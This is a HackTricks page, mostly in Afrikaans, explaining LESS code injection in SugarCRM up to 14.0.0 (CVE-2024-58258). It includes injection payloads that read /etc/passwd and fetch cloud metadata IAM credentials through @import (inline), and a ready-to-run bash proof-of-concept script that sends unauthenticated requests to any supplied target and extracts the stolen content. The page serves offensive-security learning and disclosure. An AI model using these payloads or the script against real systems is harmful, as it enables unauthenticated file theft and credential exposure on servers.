LESS Code Injection leading to SSRF & Local File Read
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
LESS is ’n gewilde CSS voorverwerker wat veranderlikes, mixins, funksies en die kragtige @import-direktief byvoeg. Tydens samestelling sal die LESS-engine die hulpbronne wat in @import-uitsprake verwys word ophaal en hul inhoud in die resulterende CSS insluit (“inline”) wanneer die (inline)-opsie gebruik word.
Wanneer ’n toepassing user-controlled input in ’n string koppel wat later deur die LESS-compiler ontleed word, kan ’n aanvaller inject arbitrary LESS code. Deur @import (inline) te misbruik kan die aanvaller die bediener dwing om te herwin:
- Plaaslike lêers via die
file://-protokol (information disclosure / Local File Inclusion). - Afgeleë hulpbronne op interne netwerke of cloud metadata-dienste (SSRF).
Hierdie tegniek is in werklike produkte geconstateer soos SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).
Uitbuiting
- Identifiseer ’n parameter wat direk ingebed is binne ’n stylesheet-string wat deur die LESS-engine verwerk word (bv.
?lm=in SugarCRM). - Sluit die huidige stelling en injekteer nuwe direktiewe. Die mees algemene primitiewe is:
;– beëindig die vorige deklarasie.}– sluit die vorige blok (indien nodig).
- Gebruik
@import (inline) '<URL>';om arbitrêre hulpbronne te lees. - Opsioneel injekteer ’n marker (
data:URI) na die import om die onttrekking van die opgehaalde inhoud uit die saamgestelde CSS te vergemaklik.
Plaaslike lêerlees
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Die inhoud van /etc/passwd sal in die HTTP-antwoord verskyn net voor die @@END@@ merk.
SSRF – Wolk-metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
Outomatiese PoC (SugarCRM voorbeeld)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Werklike Gevalle
| Produk | Kwetsbare eindpunt | Impak |
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | Unauthenticated SSRF & local file read |
Verwysings
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


